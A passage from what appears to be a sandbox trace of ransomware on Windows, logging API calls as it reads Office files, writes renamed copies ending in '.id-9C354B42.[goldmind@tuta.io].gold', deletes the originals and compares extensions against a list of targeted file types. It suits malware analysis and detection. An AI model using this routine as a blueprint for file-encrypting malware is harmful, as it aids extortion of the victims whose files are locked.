(normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.310] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.310] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.311] GetLastError () returned 0x0 [0102.311] ReadFile (in: hFile=0x230, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x8d68, lpOverlapped=0x0) returned 1 [0102.354] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x8d70, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x8d70, lpOverlapped=0x0) returned 1 [0102.354] ReadFile (in: hFile=0x230, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.355] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0102.355] SetEndOfFile (hFile=0x39c) returned 1 [0102.355] CloseHandle (hObject=0x39c) returned 1 [0102.355] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.355] SetEndOfFile (hFile=0x230) returned 1 [0102.357] CloseHandle (hObject=0x230) returned 1 [0102.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 1 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString=".doc") returned 4 [0102.358] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString=".docx") returned 5 [0102.358] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0102.358] lstrlenW (lpString=".pdf") returned 4 [0102.358] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString=".xls") returned 4 [0102.358] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0102.358] lstrlenW (lpString=".xlsx") returned 5 [0102.358] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0102.358] lstrlenW (lpString=".ppt") returned 4 [0102.358] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString=".zip") returned 4 [0102.358] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0102.358] lstrlenW (lpString=".rar") returned 4 [0102.358] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString=".bz2") returned 4 [0102.358] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString=".7z") returned 3 [0102.358] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString=".dbf") returned 4 [0102.358] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString=".1cd") returned 4 [0102.358] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString=".jpg") returned 4 [0102.358] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.358] lstrlenW (lpString=".doc") returned 4 [0102.358] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString=".docx") returned 5 [0102.358] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0102.358] lstrlenW (lpString=".pdf") returned 4 [0102.358] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0102.358] lstrlenW (lpString=".xls") returned 4 [0102.358] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0102.359] lstrlenW (lpString=".xlsx") returned 5 [0102.359] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0102.359] lstrlenW (lpString=".ppt") returned 4 [0102.359] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0102.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.359] lstrlenW (lpString=".zip") returned 4 [0102.359] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0102.359] lstrlenW (lpString=".rar") returned 4 [0102.359] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0102.359] lstrlenW (lpString=".bz2") returned 4 [0102.359] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0102.359] lstrlenW (lpString=".7z") returned 3 [0102.359] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0102.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.359] lstrlenW (lpString=".dbf") returned 4 [0102.359] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0102.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.359] lstrlenW (lpString=".1cd") returned 4 [0102.359] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0102.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0102.359] lstrlenW (lpString=".jpg") returned 4 [0102.359] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0102.359] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0102.359] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0102.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.891] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=214) returned 1 [0102.891] CloseHandle (hObject=0x398) returned 1 [0102.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 0x20 [0102.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.895] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.895] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.896] GetLastError () returned 0x0 [0102.896] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xd6, lpOverlapped=0x0) returned 1 [0102.896] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0102.897] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.897] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x100, lpOverlapped=0x0) returned 1 [0102.897] SetEndOfFile (hFile=0x3bc) returned 1 [0102.897] CloseHandle (hObject=0x3bc) returned 1 [0102.897] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.897] SetEndOfFile (hFile=0x398) returned 1 [0102.900] CloseHandle (hObject=0x398) returned 1 [0102.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 1 [0102.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.900] lstrlenW (lpString=".doc") returned 4 [0102.900] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0102.900] lstrlenW (lpString=".docx") returned 5 [0102.900] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0102.900] lstrlenW (lpString=".pdf") returned 4 [0102.901] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".xls") returned 4 [0102.901] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".xlsx") returned 5 [0102.901] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0102.901] lstrlenW (lpString=".ppt") returned 4 [0102.901] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".zip") returned 4 [0102.901] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".rar") returned 4 [0102.901] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".bz2") returned 4 [0102.901] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0102.901] lstrlenW (lpString=".7z") returned 3 [0102.901] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".dbf") returned 4 [0102.901] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".1cd") returned 4 [0102.901] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".jpg") returned 4 [0102.901] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".doc") returned 4 [0102.901] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0102.901] lstrlenW (lpString=".docx") returned 5 [0102.901] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0102.901] lstrlenW (lpString=".pdf") returned 4 [0102.901] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".xls") returned 4 [0102.901] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".xlsx") returned 5 [0102.901] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0102.901] lstrlenW (lpString=".ppt") returned 4 [0102.901] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".zip") returned 4 [0102.901] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".rar") returned 4 [0102.901] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0102.901] lstrlenW (lpString=".bz2") returned 4 [0102.901] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0102.901] lstrlenW (lpString=".7z") returned 3 [0102.901] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".dbf") returned 4 [0102.901] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0102.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.901] lstrlenW (lpString=".1cd") returned 4 [0102.902] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0102.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0102.902] lstrlenW (lpString=".jpg") returned 4 [0102.902] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0102.902] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0102.902] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0102.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.902] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=208) returned 1 [0102.902] CloseHandle (hObject=0x398) returned 1 [0102.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 0x20 [0102.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.903] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.903] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.903] GetLastError () returned 0x0 [0102.903] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xd0, lpOverlapped=0x0) returned 1 [0102.904] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0102.904] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.904] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0102.905] SetEndOfFile (hFile=0x3bc) returned 1 [0102.905] CloseHandle (hObject=0x3bc) returned 1 [0102.905] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.905] SetEndOfFile (hFile=0x398) returned 1 [0102.906] CloseHandle (hObject=0x398) returned 1 [0102.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 1 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString=".doc") returned 4 [0102.908] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0102.908] lstrlenW (lpString=".docx") returned 5 [0102.908] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0102.908] lstrlenW (lpString=".pdf") returned 4 [0102.908] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0102.908] lstrlenW (lpString=".xls") returned 4 [0102.908] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0102.908] lstrlenW (lpString=".xlsx") returned 5 [0102.908] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0102.908] lstrlenW (lpString=".ppt") returned 4 [0102.908] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString=".zip") returned 4 [0102.908] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0102.908] lstrlenW (lpString=".rar") returned 4 [0102.908] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0102.908] lstrlenW (lpString=".bz2") returned 4 [0102.908] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0102.908] lstrlenW (lpString=".7z") returned 3 [0102.908] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString=".dbf") returned 4 [0102.908] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString=".1cd") returned 4 [0102.908] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString=".jpg") returned 4 [0102.908] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.908] lstrlenW (lpString=".doc") returned 4 [0102.908] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0102.908] lstrlenW (lpString=".docx") returned 5 [0102.908] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0102.909] lstrlenW (lpString=".pdf") returned 4 [0102.909] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0102.909] lstrlenW (lpString=".xls") returned 4 [0102.909] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0102.909] lstrlenW (lpString=".xlsx") returned 5 [0102.909] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0102.909] lstrlenW (lpString=".ppt") returned 4 [0102.909] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0102.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.909] lstrlenW (lpString=".zip") returned 4 [0102.909] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0102.909] lstrlenW (lpString=".rar") returned 4 [0102.909] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0102.909] lstrlenW (lpString=".bz2") returned 4 [0102.909] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0102.909] lstrlenW (lpString=".7z") returned 3 [0102.909] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0102.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.909] lstrlenW (lpString=".dbf") returned 4 [0102.909] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0102.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.909] lstrlenW (lpString=".1cd") returned 4 [0102.909] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0102.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0102.909] lstrlenW (lpString=".jpg") returned 4 [0102.909] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0102.909] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0102.909] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0102.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.910] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0102.910] CloseHandle (hObject=0x398) returned 1 [0102.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 0x20 [0102.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.910] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.910] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 